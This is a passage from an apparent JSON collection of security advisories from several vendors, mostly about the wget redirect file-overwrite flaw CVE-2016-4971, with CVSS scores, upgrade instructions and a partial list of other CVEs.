<http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-8948.html>\n * <http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6261.html>\n * <http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6262.html>\n * <http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6263.html>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 3.6}, "published": "2016-11-08T00:00:00", "type": "cloudfoundry", "title": "USN-3068-1 Libidn vulnerabilities | Cloud Foundry", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059", "CVE-2015-8948", "CVE-2016-6261", "CVE-2016-6262", "CVE-2016-6263"], "modified": "2016-11-08T00:00:00", "id": "CFOUNDRY:7564F58510B8A05C74D232728F162219", "href": "https://www.cloudfoundry.org/blog/usn-3068-1/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T12:01:01", "description": "An arbitrary file overwrite vulnerability has been reported in the GNU wget. The vulnerability is due to wget trusting the filename provided by an FTP server when the original request is redirected from an HTTP server. A remote attacker can exploit this vulnerability by enticing a user to request a file over HTTP and sending an HTTP redirect to an FTP location hosting a malicious file intended to overwrite a user file.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-06T00:00:00", "type": "checkpoint_advisories", "title": "GNU wget HTTP Redirect Arbitrary File Overwrite (CVE-2016-4971)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-10T00:00:00", "id": "CPAI-2016-0566", "href": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "gentoo": [{"lastseen": "2022-01-17T19:06:21", "description": "### Background\n\nGNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Wget. Please review the CVE identifier and bug reports referenced for details. \n\n### Impact\n\nA remote attacker could possibly execute arbitrary code with the privileges of the process or obtain sensitive information. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll GNU Wget users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=net-misc/wget-1.18\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-10-29T00:00:00", "type": "gentoo", "title": "GNU Wget: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-10-29T00:00:00", "id": "GLSA-201610-11", "href": "https://security.gentoo.org/glsa/201610-11", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "slackware": [{"lastseen": "2021-07-28T14:46:55", "description": "New wget packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1,\nand -current to fix a security issue.\n\n\nHere are the details from the Slackware 14.1 ChangeLog:\n\npatches/packages/wget-1.18-i486-1_slack14.1.txz: Upgraded.\n This version fixes a security vulnerability present in all old versions\n of wget. On a server redirect from HTTP to a FTP resource, wget would\n trust the HTTP server and use the name in the redirected URL as the\n destination filename. This behaviour was changed and now it works\n similarly as a redirect from HTTP to another HTTP resource so the original\n name is used as the destination file. To keep the previous behaviour the\n user must provide --trust-server-names.\n The vulnerability was discovered by Dawid Golunski and was reported by\n Beyond Security's SecuriTeam.\n For more information, see:\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971\n (* Security fix *)\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated package for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/wget-1.18-i486-1_slack13.0.txz\n\nUpdated package for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/wget-1.18-x86_64-1_slack13.0.txz\n\nUpdated package for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/wget-1.18-i486-1_slack13.1.txz\n\nUpdated package for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/wget-1.18-x86_64-1_slack13.1.txz\n\nUpdated package for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/wget-1.18-i486-1_slack13.37.txz\n\nUpdated package for Slackware x86_64 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/wget-1.18-x86_64-1_slack13.37.txz\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/wget-1.18-i486-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/wget-1.18-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/wget-1.18-i486-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/wget-1.18-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/wget-1.18-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/wget-1.18-x86_64-1.txz\n\n\nMD5 signatures:\n\nSlackware 13.0 package:\n3451af5dd9ca74a1d7e87a1da83c093f wget-1.18-i486-1_slack13.0.txz\n\nSlackware x86_64 13.0 package:\ndf8555176d34c6df44790758a70151ad wget-1.18-x86_64-1_slack13.0.txz\n\nSlackware 13.1 package:\n03635033880d7e70c9c27a59d5f8b672 wget-1.18-i486-1_slack13.1.txz\n\nSlackware x86_64 13.1 package:\n254e001d584854f80f8f009afc36ed31 wget-1.18-x86_64-1_slack13.1.txz\n\nSlackware 13.37 package:\n2568c74e7419e9ef1678158fd4af8e2f wget-1.18-i486-1_slack13.37.txz\n\nSlackware x86_64 13.37 package:\n6ef91a6cec6685127850af5f2042a54b wget-1.18-x86_64-1_slack13.37.txz\n\nSlackware 14.0 package:\n93d82f4a1fb5a7c27c4541df137a0357 wget-1.18-i486-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\n74ea3507a02545c6bef589b1b2f1290a wget-1.18-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\nbcab953b2e8d04050b169b203909b01e wget-1.18-i486-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\nbc0a058112f39befdac64f6143c2da03 wget-1.18-x86_64-1_slack14.1.txz\n\nSlackware -current package:\n90695857776fb20742a931a774347de6 n/wget-1.18-i586-1.txz\n\nSlackware x86_64 -current package:\n11b4a09faf7636f65d3c6d25b2c9eba1 n/wget-1.18-x86_64-1.txz\n\n\nInstallation instructions:\n\nUpgrade the package as root:\n > upgradepkg wget-1.18-i486-1_slack14.1.txz", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-13T07:12:06", "type": "slackware", "title": "[slackware-security] wget", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-13T07:12:06", "id": "SSA-2016-165-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2016&m=slackware-security.532542", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "paloalto": [{"lastseen": "2021-07-28T14:33:16", "description": "The wget library has been found to contain a vulnerability (CVE 2016-4971). wget allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource. Palo Alto Networks software makes use of the vulnerable library and may be affected. (Ref # PAN-59677/ CVE 2016-4971)\nSuccessfully exploiting this issue would require an attacker to be authenticated on the Management Interface.\nThis issue affects PAN-OS 6.1.16 and earlier, PAN-OS 7.0.14 and earlier, PAN-OS 7.1.9 and earlier, PAN-OS 8.0\n\n**Work around:**\nPalo Alto Networks recommends to implement best practice by allowing web interface access only to a dedicated management network. Additionally, restrict the set of IP addresses to a subset of authorized sources that you allow to interact with the management network.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2017-05-23T03:00:03", "type": "paloalto", "title": "WGET Vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2017-05-23T03:00:03", "id": "PAN-SA-2017-0016", "href": "https://securityadvisories.paloaltonetworks.com/CVE-2016-4971", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "ibm": [{"lastseen": "2021-12-30T21:40:29", "description": "## Summary\n\nPowerKVM is affected by a vulnerability in wget. IBM has now addressed this vulnerability.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2016-4971_](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971>)** \nDESCRIPTION:** GNU wget could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted HTTP redirect message with an FTP server Location value to download and write or overwrite arbitrary files on the system. \nCVSS Base Score: 6.5 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/114406_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114406>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) \n\n## Affected Products and Versions\n\nPowerKVM 2.1 and PowerKVM 3.1\n\n## Remediation/Fixes\n\nCustomers can update PowerKVM systems by using \"yum update\". \n\nFix images are made available via Fix Central. For version 3.1, see [_https://ibm.biz/BdHggw_](<https://ibm.biz/BdHggw>). This issue is addressed as of 3.1.0.2 update 3 or later.\n\nFor version 2.1, see [_https://ibm.biz/BdEnT8_](<https://ibm.biz/BdEnT8>). This issue is addressed as of PowerKVM 2.1.1.3-65 update 13 or later. Customers running v2.1 are, in any case, encouraged to upgrade to v3.1. \n\nFor v2.1 systems currently running fix levels of PowerKVM prior to 2.1.1, please see <http://download4.boulder.ibm.com/sar/CMA/OSA/05e4c/0/README> for prerequisite fixes and instructions.\n\n## Workarounds and Mitigations\n\nNone\n\n## Get Notified about Future Security Bulletins\n\nSubscribe to [My Notifications](< http://www-01.ibm.com/software/support/einfo.html>) to be notified of important product support alerts like this.\n\n### References \n\n[Complete CVSS v2 Guide](<http://www.first.org/cvss/v2/guide> \"Link resides outside of ibm.com\" ) \n[On-line Calculator v2](<http://nvd.nist.gov/CVSS-v2-Calculator> \"Link resides outside of ibm.com\" )\n\n[Complete CVSS v3 Guide](<http://www.first.org/cvss/user-guide> \"Link resides outside of ibm.com\" ) \n[On-line Calculator v3](<http://www.first.org/cvss/calculator/3.0> \"Link resides outside of ibm.com\" )\n\nOff \n\n## Related Information\n\n[IBM Secure Engineering Web Portal](<http://www.ibm.com/security/secure-engineering/bulletins.html>) \n[IBM Product Security Incident Response Blog](<http://www.ibm.com/blogs/psirt>)\n\n## Change History\n\n11 November 2016 - Initial Version\n\n*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.\n\n## Disclaimer\n\nAccording to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an \"industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response.\" IBM PROVIDES THE CVSS SCORES \"\"AS IS\"\" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY.\n\n[{\"Product\":{\"code\":\"SSZJY4\",\"label\":\"PowerKVM\"},\"Business Unit\":{\"code\":\"BU054\",\"label\":\"Systems w\\/TPS\"},\"Component\":\"Not Applicable\",\"Platform\":[{\"code\":\"PF016\",\"label\":\"Linux\"}],\"Version\":\"2.1;3.1\",\"Edition\":\"KVM\",\"Line of Business\":{\"code\":\"LOB08\",\"label\":\"Cognitive Systems\"}}]", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2018-06-18T01:34:17", "type": "ibm", "title": "Security Bulletin: A vulnerability in wget affects PowerKVM", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2018-06-18T01:34:17", "id": "C57CB4EA12FFF65730206B718900EAEB6EFB3AEE18254CB007E3EAD2F81BB99B", "href": "https://www.ibm.com/support/pages/node/630103", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-01-28T23:29:55", "description": "## Summary\n\nCloud Pak for Security (CP4S) v1.8.1.0 and earlier uses packages that are vulnerable to several CVEs. These have been remediated in the latest product release. Please see below for CVE details and the Remediation section for upgrade instructions. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2015-8985](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8985>) \n** DESCRIPTION: **glibc is vulnerable to a denial of service, caused by a flaw in the pop_fail_stack function. By using a specially crafted extended regular expression, a remote attacker could cause an assertion failure and application crash. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/126591](<https://exchange.xforce.ibmcloud.com/vulnerabilities/126591>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2015-8984](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8984>) \n** DESCRIPTION: **glibc is vulnerable to a denial of service, caused by an out-of-bounds read in the fnmatch function. By using a malformed pattern, a remote attacker could cause the application crash. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/126595](<https://exchange.xforce.ibmcloud.com/vulnerabilities/126595>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-3426](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3426>) \n** DESCRIPTION: **Python pydoc module could allow a remote attacker from within the local network obtain sensitive information. By starting the pydoc server, an attacker could exploit this vulnerability to extract arbitrary files. \nCVSS Base score: 5.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201171](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201171>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2007-3716](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3716>) \n** DESCRIPTION: **Sun JRE (Java Runtime Environment) and JDK (Java Developer's Kit) could allow a remote attacker to execute arbitrary code on the system, caused by a vulnerability in the XML Digital Signature implementation. By sending a specially-crafted XML signature containing a malicious XSLT stylesheet, a remote attacker could exploit this vulnerability to execute arbitrary code on the system with the application's permissions. \nCVSS Base score: 5.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/35332](<https://exchange.xforce.ibmcloud.com/vulnerabilities/35332>) for the current score. \nCVSS Vector: \n \n** CVEID: **[CVE-2017-18018](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18018>) \n** DESCRIPTION: **GNU Coreutils could allow a local attacker to bypass security restrictions, caused by not preventing replacement of a plain file with a symlink issue in chown-core.c. By sending a specially-crafted request, an attacker could exploit this vulnerability to modify the ownership of arbitrary files. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/137123](<https://exchange.xforce.ibmcloud.com/vulnerabilities/137123>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2018-17101](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17101>) \n** DESCRIPTION: **LibTIFF is vulnerable to a denial of service, caused by an out-of-bounds write in cpTags in tools/tiff2bw.c and tools/pal2rgb.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/149976](<https://exchange.xforce.ibmcloud.com/vulnerabilities/149976>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-10001](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10001>) \n** DESCRIPTION: **Apple macOS could allow a remote attacker to obtain sensitive information, caused by improper input validation by the CUPS component. By persuading a victim to open a specially-crafted application, an attacker could exploit this vulnerability to obtain restricted memory information, and use this information to launch further attacks against the affected system. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199353](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199353>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2020-35448](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-35448>) \n** DESCRIPTION: **GNU Binutils is vulnerable to a denial of service, caused by a heap-based buffer over-read can occur in bfd_getl_signed_32 in libbfd.c in the Binary File Descriptor (BFD) library (aka libbfd). By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/193875](<https://exchange.xforce.ibmcloud.com/vulnerabilities/193875>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-26927](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26927>) \n** DESCRIPTION: **JasPer is vulnerable to a denial of service, caused by a NULL pointer dereference in jp2_decode in jp2_dec.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197351](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197351>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-28153](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28153>) \n** DESCRIPTION: **GNOME GLib could allow a remote attacker to bypass security restrictions, caused by a flaw when g_file_replace() function is used with G_FILE_CREATE_REPLACE_DESTINATION to replace a path that is a dangling symlink. By persuading a victim to open a specially-crafted ZIP archive, an attacker could exploit this vulnerability to overwrite arbitrary files on the sytem. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198147](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198147>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2017-13728](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13728>) \n** DESCRIPTION: **GNU ncurses is vulnerable to a denial of service, caused by an error in the next_char function in comp_scan.c. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to enter into an infinite loop. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131172](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131172>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7613](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7613>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by memory allocation failure in elflint.c . By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124513](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124513>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7612](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7612>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by heap-based buffer over-read in the check_sysv_hash function in elflint.c. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124512](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124512>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7611](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7611>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by heap-based buffer over-read in check_symtab_shndx function in elflint.c . By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124511](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124511>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7610](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7610>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by heap-based buffer over-read check_group function in elflint.c. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124510](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124510>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7609](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7609>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by memory consumption in elf_compress.c. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124509](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124509>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7608](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7608>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by heap-based buffer over-read in ebl_object_note_type_name function in eblobjnotetypename.c. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/124508](<https://exchange.xforce.ibmcloud.com/vulnerabilities/124508>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-7607](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7607>) \n** DESCRIPTION: **Elfutils is vulnerable to a denial of service, caused by heap-based buffer over-read handle_gnu_hash function in readelf.c. By persuading a victim to open a crafted ELF file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ 